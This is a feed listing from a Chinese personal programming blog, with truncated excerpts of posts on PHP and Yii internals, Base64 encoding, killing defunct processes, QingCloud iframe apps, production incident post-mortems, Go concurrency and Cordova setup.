+<p>读初中时,因为读书,还和好朋友闹过一点不愉快:朋友买了一些好书,我想借来看,他不肯,我就每天比大家早起一些,偷偷从他抽屉里拿来看几页,在他到教室之前再放回去,后来“事发”,。。。当然这一切都已过去,朋友还是朋友。</p> +<p>高中后,开始有一些零花钱/饭钱,从其中挤出部分钱来买书成了我的一个习惯,书也由此越来越多。</p> +<p>其实我根本看不了那么多书,最终累积了大量的书没认真读过。有时觉得可惜了,就会为读书而读书,精神为读书所累。</p> +<p>这些年,几次搬家 - 从本科学校到研究生学校、读研期间换宿舍、毕业工作 - 每次最多最重的都是书,“书生搬家 - 尽是书!”。</p> +<p>工作后租的房子没那么宽敞,导致到处塞的都是书 …</p>youngsterxyfSun, 28 Feb 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-02-28:/2016/02/28/why-preseting-book/笔记生活感悟如何杀死defunct进程(译)http://youngsterxyf.github.io/2016/02/18/kill-defunct/<p>原文:<a href="https://kenno.wordpress.com/2007/04/04/how-to-kill-defunct-process/">How to kill defunct process</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>defunct进程是指出错损坏的进程,父子进程之间不会再通信。有时,它们会演变成“僵尸进程”,存留在你的系统中,直到系统重启。可以尝试 “kill -9” 命令来清除,但多数时候不管用。</p> +<p>为了杀死这些defunct进程,你有两个选择:</p> +<ul> +<li>重启你的计算机</li> +<li>继续往下读...</li> +</ul> +<p>我们先看看系统中是否存在defunct进程:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>$ ps -A | grep defunct +</pre></div> + + +<p>假设得到的输出如下所示:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="border: 1px solid #FF0000">8328 ? 00:00:00 mono &lt;defunct&gt;</span> +<span style="border: 1px solid #FF0000">8522 ? 00:00:01 mono &lt;defunct&gt;</span> +<span style="border: 1px solid #FF0000">13132 ? 00:00:00 mono &lt;defunct&gt;</span> +<span style="border: 1px solid #FF0000">25822 ? 00 …</span></pre></div>youngsterxyfThu, 18 Feb 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-02-18:/2016/02/18/kill-defunct/LinuxBase64编码原理与应用http://youngsterxyf.github.io/2016/01/24/base64-encoding/<p>2015年,我们在青云平台上实现了“百度云观测”应用。青云应用本质上是一个iframe,在向iframe服务方发送的请求中会携带一些数据,青云平台会使用<code>Base64 URL</code>对这些数据进行编码,其提供的编码解码算法示例如下:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>// php版本 +function base64_URL_encode($data) { + return rtrim(strtr(base64_encode($data), &#39;+/&#39;, &#39;-_&#39;), &#39;=&#39;); +} +function base64_URL_decode($data) { + return base64_decode(str_pad(strtr($data, &#39;-_&#39;, &#39;+/&#39;), + strlen($data) % 4, &#39;=&#39;, STR_PAD_RIGHT)); +} +</pre></div> + + +<p>可以看出,<code>Base64 URL</code> 是标准Base64编码的一个变种,分别用 <code>-</code>、<code>_</code> 替换标准Base64编码结果中的 <code>+</code> 、 <code>/</code> ,并删除结果最后的 <code>=</code> 。</p> +<p>在实现 “百度云观测” 青云应用时,我在想:</p> +<ul> +<li>为什么要使用Base64编码?</li> +<li>Base64编码算法是什么样的?</li> +</ul> +<p>本文是围绕这两个问题思考和实践的结果。</p> +<p>我认为 …</p>youngsterxyfSun, 24 Jan 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-01-24:/2016/01/24/base64-encoding/笔记编码基于Github的pull request流程做开源贡献http://youngsterxyf.github.io/2016/01/18/github-fork-pull-request/<p>最近给 <a href="https://github.com/astaxie/beego">beego</a> 提了几个 pull request (简称PR),都已被接受。在使用pull request的过程中,遇到了一点小问题,才知以前并非真的理解这个流程,故在此做点记录整理。</p> +<p>我以 <a href="https://github.com/astaxie/beego">beego</a> 为例,将pull request的整体使用流程绘图如下:</p> +<p><img alt="fork-pull-request" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/fork-pull-request.jpeg"></p> +<p>beego代码库有两个长期分支 <code>master</code> 和 <code>develop</code>,<code>master</code>为稳定分支,<code>develop</code>为开发分支,所有PR都要求提交到 <code>develop</code> 分支。</p> +<ol> +<li>先将 <a href="https://github.com/astaxie/beego">astaxie/beego</a> 代码库 fork 一份到自己的名下(如我的 <a href="https://github.com/youngsterxyf/beego">youngsterxyf/beego</a>)。</li> +<li>把 <a href="https://github.com/youngsterxyf/beego">youngsterxyf/beego</a> clone 到本地机器上做开发。因为PR要提到 <a href="https://github.com/astaxie/beego">astaxie/beego</a> 的 develop 分支,所以最好对应地在你fork的代码库的 develop …</li></ol>youngsterxyfMon, 18 Jan 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-01-18:/2016/01/18/github-fork-pull-request/github笔记git开源关于Redis与Memcached的一点澄清(译)http://youngsterxyf.github.io/2015/12/01/redis-vs-memcached/<p>原文:<a href="http://antirez.com/news/94">Clarifications about Redis and Memcached</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p><em>译注:本文为Redis的作者所写</em></p> +<p>如果你了解我,就会知道我并不是那种认为竞品是一件坏事的人。实际上我喜欢用户有选择的空间,因此我很少做将Redis与其他技术做对比这类事情。</p> +<p>然而,为了选择正确的方案,用户必须获取正确的知识,这一点也是理所应当的。</p> +<p>本文的起因是读了Mike Perham写的一篇博文,你也许知道他是Sidekiq这一流行程序库的作者,Sidekiq又恰好使用Redis做后端。因此我毫不认为Mike是一个“反对”Redis的人。但在博文(你可以在 <a href="http://www.mikeperham.com/2015/09/24/storing-data-with-redis/">http://www.mikeperham.com/2015/09/24/storing-data-with-redis/</a> 找到这篇博文)中,他陈述到:要用缓存,“你可能应该选择Memcached(而不是Redis)”。这样看来,Mike确实简单地相信Redis不适合用做缓存,在文章中他是这样论述的:</p> +<ul> +<li>1) Memcached专为缓存而设计</li> +<li>2) 它根本不会有磁盘I/O操作</li> +<li>3 …</li></ul>youngsterxyfTue, 01 Dec 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-12-01:/2015/12/01/redis-vs-memcached/翻译RedisMemcached青云 iframe 应用开发http://youngsterxyf.github.io/2015/11/20/qingcloud-iframe-app/<p>上周的主要工作是将产品的功能集成到青云。青云提供 iframe 的方式来集成第三方服务,这是一种互利的做法,而且对于青云来说,实现的代价也非常小。</p> +<p>先上图,看看集成的效果:</p> +<p><img alt="ygc-in-qingcloud" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/ygc-in-qingcloud.png"></p> +<hr> +<p>对于青云来说,一个iframe应用就是一个URL,由应用开发者提供这个URL,当青云用户访问应用所在的页面时,页面先自动向应用服务器的URL发送数据请求,请求会携带认证信息,应用服务端需要先校验请求确实来自青云,并获取请求中的用户信息,最终响应一个HTML页面内容,青云应用页面收到响应数据后将其置于一个iframe标签中,之后青云用户在iframe页面中的操作都是直接与应用服务器交互。</p> +<p><img alt="qingcloud-iframe-interaction" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/qingcloud-iframe-interaction.png"></p> +<p>上图交互流程的第<strong>2</strong>步中,青云服务器向用户响应的内容最终会生成一个包含以下内容的页面:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>&lt;form method=<span style="color: #a31515">&quot;POST&quot;</span> action=<span style="color: #a31515">&quot;URL&quot;</span> target=<span style="color: #a31515">&quot;appframe&quot;</span>&gt; + &lt;input type=<span style="color: #a31515">&quot;hidden&quot;</span> name=<span style="color: #a31515">&quot;payload&quot;</span> value=<span style="color: #a31515">&quot;...&quot;</span>&gt; + &lt;input type=<span style="color: #a31515">&quot;hidden&quot;</span> name=<span style="color: #a31515">&quot;signature&quot;</span> value=<span style="color: #a31515">&quot;...&quot;</span>&gt; +&lt;/form&gt; +&lt;iframe id=<span style="color: #a31515">&quot;...&quot;</span> name=<span style="color: #a31515">&quot;appframe&quot;</span> width=<span style="color: #a31515">&quot;100 …</span></pre></div>youngsterxyfFri, 20 Nov 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-11-20:/2015/11/20/qingcloud-iframe-app/笔记工作总结又一次系统故障http://youngsterxyf.github.io/2015/11/16/another-system-fault/<p>上周五早上9点多,我还在上班的路上,接到技术leader的电话:线上突然出故障了;接着发来一张故障信息页面截图:</p> +<p><img alt="system-fault-err-page" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/system-fault-err-page.png"></p> +<p>截图包含的信息是:数据库中没找到数据表<code>Users</code>。</p> +<p>但同事检查过数据库,Users数据表是存在的。</p> +<hr> +<p>我快速地回忆了一下最近的代码发布和环境变更 - 前一天有个同事对线上机器做了点改动。因此,让同事赶紧检查一下之前的改动是否有问题,经检查确认改动没有问题,而且稍微思考一下就应该明白不是配置的问题,如果是配置的问题,那么问题应该早就出现了,而不是在早上9点多时候才发生。</p> +<hr> +<p>我翻了翻手机中最近收到的几条告警短信,去除重复告警短信,只有两条告警:</p> +<ul> +<li>某台Web服务器上出现大量的500错误</li> +<li>某台数据库服务器的磁盘使用率为98.99%</li> +</ul> +<p>由此可以推测两个故障原因:</p> +<ol> +<li>那台Web服务器上应用的数据库配置有问题 - 但检查之后确认没有问题</li> +<li>由于那台数据库服务器磁盘满导致的问题,虽然一时还想不到其中的关联 - 同事在检查之后,确认那台机器的磁盘确实已满,但通过内网的数据库管理后台,可以正常访问数据库,所以认为应该不是磁盘满导致的问题</li> +</ol> +<p>如此,一时我也没想明白故障的原因。</p> +<hr> +<p>接着,同事发来消息:只有登录用户才会遇到这个问题!</p> +<p>这时,基于之前的线索,基本能断定故障原因是 - 数据库服务器磁盘满。为什么呢?</p> +<ol> +<li>数据库管理后台默认是<strong>只读</strong>:读数据表列表、数据表结构、单个表的若干条数据 …</li></ol>youngsterxyfMon, 16 Nov 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-11-16:/2015/11/16/another-system-fault/笔记故障记一次系统故障http://youngsterxyf.github.io/2015/10/02/note-of-a-system-fault/<p>前段时间,工作中遭遇一次故障,虽然不算什么“疑难杂症”,倒也花了不少时间才真正找到故障的原因,故也值得记录一下。</p> +<p>为方便读者快速理解故障,先给出系统大致的架构图:</p> +<p><img alt="gxt-tech-arch" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/gxt-tech-arch.png"></p> +<p>其中,</p> +<ol> +<li>每台Web服务器上开启12个PHP-FPM实例,并配置到Nginx的upstream,每个实例最多可以开启10个子进程</li> +<li>“Database Proxy”的代理规则为:写操作及事务中的所有SQL操作都交给主MySQL处理,其余的读操作都交给任意一台从MySQL处理</li> +</ol> +<hr> +<p>故障所表现的现象包括:</p> +<p>1.大量请求响应为502,但每次故障发生时,错误响应一般集中在一台Web服务器,如下图所示:</p> +<p><img alt="nginx-502-error" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/nginx-502-error.png"></p> +<p><img alt="nginx-502-count" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/nginx-server-502-count.jpg"></p> +<p>2.(一台或多台)MySQL数据库服务器CPU使用率飙升(但并非总是一起表现故障),如下图所示:</p> +<p><img alt="mysql-slave-server-idle" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/mysql-slave-server-idle.png"></p> +<hr> +<p>故障刚开始出现时,重启/关闭出现故障现象的MySQL服务,或将出现故障的Web服务器上所有PHP-FPM重启,也能解一时的问题,但治不了本,故障还是频繁出现。</p> +<p>在故障发生时,从相关服务器上收集到的信息如下所示:</p> +<p>1.出现故障现象的Web服务器 - CPU使用率、内存使用率等系统指标均正常,但PHP-FPM子进程数达到上限(12 x 10 = 120),并且PHP-FPM进程与数据库代理服务器之间的网络连接数量较多(与PHP-FPM子进程数大致相当)</p> +<p>2.出现故障现象的MySQL服务器 …</p>youngsterxyfFri, 02 Oct 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-10-02:/2015/10/02/note-of-a-system-fault/笔记故障Xhprof安装与使用http://youngsterxyf.github.io/2015/09/15/xhprof-installation-and-usage/<p>前两天遇到一个PHP代码的bug,分析的结果是:因为要处理的数据量过大,内存分配超出了限制(<code>php.ini</code>中配置项<code>memory_limit</code>,默认是128M)。长期使用Python/PHP做Web开发,对于内存使用关注较少,这个事情让我重新关注起代码的内存占用问题,所以为工作中使用的测试开发环境配置Xhprof,进行性能数据收集分析(注:我们项目是用PHP开发的)。之所以选择Xhprof,是因为比较轻量,对性能影响较小,甚至可以一定方式用于生产环境,安装使用也方便。</p> +<h3>安装</h3> +<p>Xhprof是一个PHP扩展,安装方式与一般PHP扩展一致。</p> +<p>1.从<a href="https://pecl.php.net/package/xhprof">这里</a>下载最新的源码包。假设解压缩后的文件夹为xhprof</p> +<p>2.编译安装</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>cd xhprof/extension +/path/to/php/bin/phpize +./configure --with-php-config=/path/to/php/bin/php-config +make +make install …</pre></div>youngsterxyfTue, 15 Sep 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-09-15:/2015/09/15/xhprof-installation-and-usage/PHP笔记XhprofYii源码阅读笔记 - 错误/异常处理http://youngsterxyf.github.io/2015/09/14/read-yii-code-10/<h3>概述</h3> +<p>PHP区分“错误”(Error)和“异常”(Exception)。“错误”通常是由PHP内部函数抛出,表示运行时问题,当然也可以通过函数<code>trigger_error</code>或<code>user_error</code>抛出一个用户级别的error/warning/notice信息。但在引入面向对象之后,相比使用<code>trigger_error</code>抛出错误,使用throw抛出异常更常用。</p> +<p>对于“错误”,PHP允许配置报告哪些级别/类型错误、是否(向用户)展示错误、是否对错误记录日志、错误日志记到哪,分别对应php.ini中的配置项:<code>error_reporting</code>、<code>display_errors</code>、<code>log_errors</code>、<code>error_log</code>。详细信息见<a href="http://php.net/manual/zh/language.errors.basics.php">这里</a>。</p> +<p>对于应用程序内层调用抛出的“异常”,一般可以在外层中使用try...catch来捕获并自定义处理过程。但对于“错误”(PHP运行时抛出或者应用程序使用trigger_error抛出的)或者对于-无法使用try...catch来捕获可能的异常/为了做到即使忘记捕获的异常也能得到自定义处理-的情况,该怎么办 …</p>youngsterxyfMon, 14 Sep 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-09-14:/2015/09/14/read-yii-code-10/PHPYii笔记总结一行式并行方案(译)http://youngsterxyf.github.io/2015/09/11/parallelism-in-one-line/<p>原文:<a href="http://chriskiehl.com/article/parallelism-in-one-line/">Parallelism in one line</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>在并行处理能力方面,Python的声名并不太好。不考虑关于线程和GIL(多数情况下是合理的)的标准论据,我认为Python中关于并行的真正问题并不是一个技术问题,而是教学问题。围绕Python线程和多进程的常见教程,一般都写得不错,但也令人乏味 - 激烈非凡,对日常真正有用的东西却很少涉及。</p> +<h4>沿袭的例子</h4> +<p>在DuckDuckGo(DDG)中搜索“Python多线程教程”,简单调查一下排在前面的结果,就会发现它们给出的都是同样基于Class + Queue的示例。</p> +<p><em>介绍threading/multiprocessing、生产者/消费者的真实示例代码:</em></p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #008000"># coding: utf-8</span> +<span style="color: #008000"># Example.py</span> +<span style="color: #a31515">&#39;&#39;&#39;</span> +<span style="color: #a31515">标准的多线程生产者/消费者模式</span> +<span style="color: #a31515">&#39;&#39;&#39;</span> + +<span style="color: #0000ff">import</span> time +<span style="color: #0000ff">import</span> threading +<span style="color: #0000ff">import</span> Queue + +<span style="color: #0000ff">class</span> <span style="color: #2b91af">Consumer</span>(threading.Thread): + <span style="color: #0000ff">def</span> __init__(self …</pre></div>youngsterxyfFri, 11 Sep 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-09-11:/2015/09/11/parallelism-in-one-line/PHP翻译并行那些Python党踩过的PHP坑http://youngsterxyf.github.io/2015/09/05/php-trap-and-tip/<p>一看题目貌似本文要准备吐槽PHP,但遇到“坑”主要是因为个人经验不足。</p> +<h4>JSON反序列化 json_decode</h4> +<p>函数 <code>json_decode</code> 默认反序列化的结果是对象。Python党在做PHP开发用到这个方法时,很可能会跳进这个坑,认为结果应该是个数组,因为Python中json.loads返回的是一个字典。 <code>json_decode</code> 的第二个参数 $assoc 可用来指定反序列化的结果为数组。</p> +<p>文档:<a href="http://php.net/manual/zh/function.json-decode.php">http://php.net/manual/zh/function.json-decode.php</a></p> +<hr> +<h4>数组序列化</h4> +<p>Python党初学PHP,可能类比于Python的列表和字典,认为PHP中明确区分索引数组和关联数组。但:</p> +<blockquote> +<p>PHP 实际并不区分索引数组和关联数组,都是一种有序映射。</p> +</blockquote> +<p>虽然很多时候索引数组和关联数组在表现上是不一样的,比如对以下两个数组进行序列化:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">&lt;?php</span> +$arrA = <span style="color: #0000ff">array</span>(<span style="color: #a31515">&#39;a&#39;</span>, <span style="color: #a31515">&#39;b&#39;</span>, <span style="color: #a31515">&#39;c&#39;</span>); +<span style="color: #0000ff">echo</span> json_encode($arrA) . <span style="color: #a31515">&quot;\n&quot;</span>; + +$arrB = <span style="color: #0000ff">array</span>(<span style="color: #a31515">&#39;a …</span></pre></div>youngsterxyfSat, 05 Sep 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-09-05:/2015/09/05/php-trap-and-tip/PHP笔记编程名言集锦(译)http://youngsterxyf.github.io/2015/06/02/programming-quotes/<p>原文:<a href="http://quotes.cat-v.org/programming/">Programming Quotes</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<ul> +<li><strong>C.A.R. Hoare, The 1980 ACM Turing Award Lecture</strong></li> +</ul> +<blockquote> +<p>There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies and the other way is to make it so complicated that there …</p></blockquote>youngsterxyfTue, 02 Jun 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-06-02:/2015/06/02/programming-quotes/翻译感悟Go并发编程基础(译)http://youngsterxyf.github.io/2015/05/20/fundamentals-of-concurrent-programming/<p>原文:<a href="http://www.nada.kth.se/~snilsson/concurrency/">Fundamentals of concurrent programming</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>本文是一篇并发编程方面的入门文章,以<a href="http://golang.org/">Go语言</a>编写示例代码,内容涵盖:</p> +<ul> +<li>运行期并发线程(goroutines)</li> +<li>基本的同步技术(管道和锁)</li> +<li>Go语言中基本的并发模式</li> +<li>死锁和数据竞争</li> +<li>并行计算</li> +</ul> +<p>在开始阅读本文之前,你应该知道如何编写简单的Go程序。如果你熟悉的是C/C++、Java或Python之类的语言,那么 <a href="http://tour.golang.org/welcome/1">Go语言之旅</a> 能提供所有必要的背景知识。也许你还有兴趣读一读 <a href="http://code.google.com/p/go-wiki/wiki/GoForCPPProgrammers">为C++程序员准备的Go语言教程</a> 或 <a href="http://www.nada.kth.se/~snilsson/go_for_java_programmers/">为Java程序员准备的Go语言教程</a>。</p> +<h4>1. 运行期线程</h4> +<p>Go允许使用<code>go</code>语句开启一个新的运行期线程,即 <a href="http://golang.org/ref/spec#Go_statements">goroutine</a>,以一个不同的、新创建的goroutine来执行一个函数。同一个程序中的所有goroutine共享同一个地址空间。</p> +<p>Goroutine非常轻量,除了为之分配的栈空间,其所占用的内存空间微乎其微。并且其栈空间在开始时非常小,之后随着堆存储空间的按需分配或释放而变化。内部实现上,goroutine会在多个操作系统线程上多路复用。如果一个goroutine阻塞了一个操作系统线程 …</p>youngsterxyfWed, 20 May 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-05-20:/2015/05/20/fundamentals-of-concurrent-programming/翻译GolangYii源码阅读笔记 - 自定义类自动加载http://youngsterxyf.github.io/2015/04/10/read-yii-code-9/<p>前两天突然发现:之前的阅读笔记对于Yii应用中如何自动加载自定义类的问题没有解释。这里的自定义类是指非Yii框架本身的类。</p> +<p>关于组件类的配置加载已在 <a href="http://blog.xiayf.cn/2014/11/13/read-yii-code-3/">Yii源码阅读笔记 - 组件集成</a> 一文中做了较为详细的说明, +所以这里不再涉及。</p> +<p>本文主要解释以下两点:</p> +<ol> +<li>Yii框架是如何找到请求对应的自定义控制器类?</li> +<li>在自定义控制器类中使用其他类(如Model类、或其他任意目录下文件中定义的类)时,Yii框架是如何自动加载的?</li> +</ol> +<hr> +<p>在 <a href="http://blog.xiayf.cn/2014/11/20/read-yii-code-7/">Yii源码阅读笔记 - 应用模块化</a> 一文中介绍类 <code>CWebApplication</code> 中的方法 <code>createController</code> , +该方法根据目标路由找到对应的控制器类文件并加载,方法中有行代码:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>$basePath=$owner-&gt;getControllerPath(); +</pre></div> + + +<p>这里的 <code>getControllerPath</code> 会返回当前应用或模块下的控制器类的存放目录,对应应用级与模块级,其实现有两处,其一是在类 <code>CWebApplication</code> 中:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>/** + * @return string the directory that contains the controller classes. Defaults to &#39;protected/controllers&#39;. + */ +public function …</pre></div>youngsterxyfFri, 10 Apr 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-04-10:/2015/04/10/read-yii-code-9/PHPYii笔记总结Slim源码阅读笔记http://youngsterxyf.github.io/2015/03/22/read-slim/<p>以前读过 <a href="http://www.phptherightway.com/">PHP - The Right Way</a> 一文, +还翻译过其中的 <a href="http://www.phptherightway.com/pages/The-Basics.html">The Baiscs</a> 一节 +(译文见 <a href="http://blog.xiayf.cn/2013/03/08/php-basics/">这里</a>)。</p> +<p>前两周读了 <a href="http://www.amazon.cn/Modern-PHP-Lockhart-Josh/dp/1491905018/ref=sr_1_1?ie=UTF8&amp;qid=1427031708&amp;sr=8-1&amp;keywords=Modern+PHP">Modern PHP - New Features and Good Practices</a> 一书 +(读书笔记见<a href="http://blog.xiayf.cn/2015/03/12/read-modern-php/">这里</a>), +甚是不错。</p> +<p>这篇文档和这本书的作者都是<a href="https://github.com/codeguy">Josh Lockhart</a>, +他写了一个Web框架<a href="http://www.slimframework.com/">Slim</a>,文档与书籍内容的精华都体现在这个框架中, +所以个人觉得这个框架值得一读。</p> +<p>Slim的设计与实现都非常精简易懂,其对请求的主处理流程如下图所示:</p> +<p><img alt="slim-process" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/slim.png"></p> +<p>其中的核心概念包括:IoC容器、中间件、路由匹配等。</p> +<h4>IoC容器</h4> +<p>IoC,为Inversion of Control的缩写,中文翻译为“控制反转” - 是一种解决组件间依赖关系、配置和生命周期的设计模式,其最常见的实现方式为:依赖注入(DI)- +当系统 …</p>youngsterxyfSun, 22 Mar 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-03-22:/2015/03/22/read-slim/PHPslim笔记总结读书笔记:Modern PHP - New Features and Good Practiceshttp://youngsterxyf.github.io/2015/03/12/read-modern-php/<p><img alt="modern-php" src="/assets/uploads/pics/modern-php.png"></p> +<p>高清无码大图:<a href="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/modern-php.png">戳这里</a></p> +<hr> +<p>推荐阅读!</p>youngsterxyfThu, 12 Mar 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-03-12:/2015/03/12/read-modern-php/笔记PHPYii源码阅读笔记 - 日志组件http://youngsterxyf.github.io/2015/03/09/read-yii-code-8/<h3>使用</h3> +<p>Yii框架为开发者提供两个静态方法进行日志记录:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>Yii::log($message, $level, $category); +Yii::trace($message, $category); +</pre></div> + + +<p>两者的区别在于后者依赖于应用开启调试模式,即定义常量YII_DEBUG:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>defined(&#39;YII_DEBUG&#39;) or define(&#39;YII_DEBUG&#39;, true); +</pre></div> + + +<p>Yii::log方法的调用需要指定message的level和category。category是格式为“xxx.yyy.zzz”的路径别名字符串,比如日志是在yii/framework/web/CController类中记录的,那么category为“system.web.CController”。level应为以下几种之一:</p> +<ul> +<li>trace:Yii::trace方法即是使用的这个level。用于跟踪执行流</li> +<li>info:记录通用信息日志</li> +<li>profile:用于性能分析</li> +<li>warning:用于记录警告日志</li> +<li>error:用于记录重大错误日志</li> +</ul> +<p>要想日志真的输出到文件、邮件、web页面等地方 …</p>youngsterxyfMon, 09 Mar 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-03-09:/2015/03/09/read-yii-code-8/PHPYii笔记总结又是一年http://youngsterxyf.github.io/2015/01/03/the-2014-is-gone/<p>又是一年,依照惯例,得写一篇总结和计划。当然计划更多的只是一种自我鼓励,现实总是一次又一次地证明“计划赶不上变化”。</p> +<p>我的2014,可能用三个关键词就能概括:</p> +<ul> +<li>结婚</li> +<li>换工作</li> +<li>众成技术聚乐部</li> +</ul> +<h4>结婚</h4> +<p>继13年领证,14年把婚礼也办了。由于两家离得远,婚礼也就分两次办。之间还补拍了婚纱照。虽然于我这些流程显得有点折腾,但重要的是大家都是很开心,也不希望老婆以后会有丁点遗憾。</p> +<p>希望以后的日子总能努力让老婆开心幸福。</p> +<h4>换工作</h4> +<p>工作的时间并不长,本没想这么快换工作,何况我还是一个挺念旧的人。但还是那句话“计划赶不上变化”,不得已主动离职跳槽。</p> +<p>对于目前的工作还比较满意,能做些自己喜欢做的事情,工作氛围也还不错。</p> +<p>对于自己的要求就是踏踏实实做工作搞技术,不急不躁。</p> +<h4><a href="http://happytechgroup.github.io/">众成技术聚乐部</a></h4> +<p>参加过各种大大小小的会议,总觉得水太多,但如果始终自己一个人蒙头研究技术,也有可能落得个“闭门造车”、“目光短浅”的下场,技术的“理”也是越辩越明,所以找了三五同学朋友搞起自己的技术沙龙, +名为“众成技术聚乐部”,之所以为“众成”,是希望 …</p>youngsterxyfSat, 03 Jan 2015 00:00:00 +0800tag:youngsterxyf.github.io,2015-01-03:/2015/01/03/the-2014-is-gone/总结Cordova/Phonegap应用构建环境搭建http://youngsterxyf.github.io/2014/12/31/setup-cordova-env/<p>混合(Hybrid)移动开发将Web开发与原生开发优势互补,之后应该是一个不错的方向。Phonegap是混合移动开发的一个方案, +开发者可以使用标准的Web技术进行开发,然后使用Phonegap打包成原生APP,也可以为Phonegap开发插件来扩展APP功能。 +Cordova是Apache的顶级项目,起于Adobe贡献给Apache基金会的Phonegap源码,之后Phonegap官方貌似则专注于提供Phonegap应用的云构建服务。 +Phonegap官网提供的文档与Apache Cordova文档是相同的,所以从技术上可以将Phonegap与Cordova视为同一个东西。</p> +<p>虽然Phonegap官方提供免费的开放(public)应用以及一个私有应用构建服务。但对于应用调试或插件开发来说, +使用云构建服务上传源码下载APP还是挺耗时间的,不太方便,所以搭建本地的应用构建环境是必要的。</p> +<p>依据Cordova文档的<a href="http://cordova.apache.org/docs/en/4.0.0/guide_cli_index.md.html#The%20Command-Line%20Interface">The Command-Line Interface</a> +部分,针对Android应用,在Ubuntu上搭建Cordova应用构建环境的步骤如下所示:</p> +<h4>1. 安装Node.js和git客户端</h4> +<ul> +<li>从<a href="http://nodejs.org/download/">NodeJS官网</a>下载Linux二进制压缩包,解压缩后将bin路径加入PATH环境变量,即可从命令行执行node、npm命令。</li> +<li><code>sudo apt-get install git</code></li> +</ul> +<h4>2. 安装Cordova:</h4> +<ul> +<li><code>sudo npm install -g cordova</code></li> +</ul> +<h4>3. 下载JDK …</h4>youngsterxyfWed, 31 Dec 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-12-31:/2014/12/31/setup-cordova-env/笔记CordovaPhonegap读书笔记:演讲之禅-一个技术演讲家的自白http://youngsterxyf.github.io/2014/12/15/read-confessions-of-a-public-speaker/<p>大大小小的技术会议参加过不少,关于演讲,从一个听众的角度也有一些心得;随着技术积累能力提升,也希望能够在一些正式场合做技术演讲。年轻的技术人应该学会经营自己,show出你自己。</p> +<p>我并不是一个擅长表达的人,虽然私底下在朋友技术圈内做过一些技术分享,但对于正式场合的技术演讲却没什么经验。</p> +<p>演讲是个经验活,但总归有一些可事先准备、能够提高成功概率的方法和注意事项吧?所以找来《演讲之禅-一个技术演讲家的自白》一书,看看是否能从别人的经验中学到点什么。</p> +<hr> +<p>毋庸置疑,这本书非常实在,值得一读。根据该书内容以及自己的一些想法,按照时间顺序整理出技术演讲相关的注意事项:</p> +<h4>演讲前</h4> +<p>一个成功的演讲毫无疑问是需要提前准备的,这里的“准备”不仅仅是准备幻灯片这么简单。</p> +<p>首先,你需要搞清楚-举办方对会议或者活动的定位,与定位直接相关的即是听众-是哪些人,他们想知道什么,需要听到什么,根据这个定位来选择主题; +与主题相关的是你需要考虑自身是否有能力驾驭这个主题-待分享的技术你是否真的懂?这方面经验是否足够?不要试图分享那些自己还一知半解的技术点,否则就注定是在给自己挖坑!</p> +<p>从听众情况和自身情况两方面来选择主题,另外还得根据演讲的时间来调整主题的范围大小。从小老师就告诉我们作文题目得小而具体,立意要新。个人认为对于演讲的题目也应如此。</p> +<p>在确定演讲的具体题目后,个人建议可以先篇文章,在文章中将演讲题目相关的问题细节都搞清楚讲清楚,然后根据文章内容确定要分享内容中哪些方面(通常由于时间限制很难面面俱到,所以要有所选择), +定下演讲的提纲,即明确了演讲的整个大致的思路 …</p>youngsterxyfMon, 15 Dec 2014 00:00:00 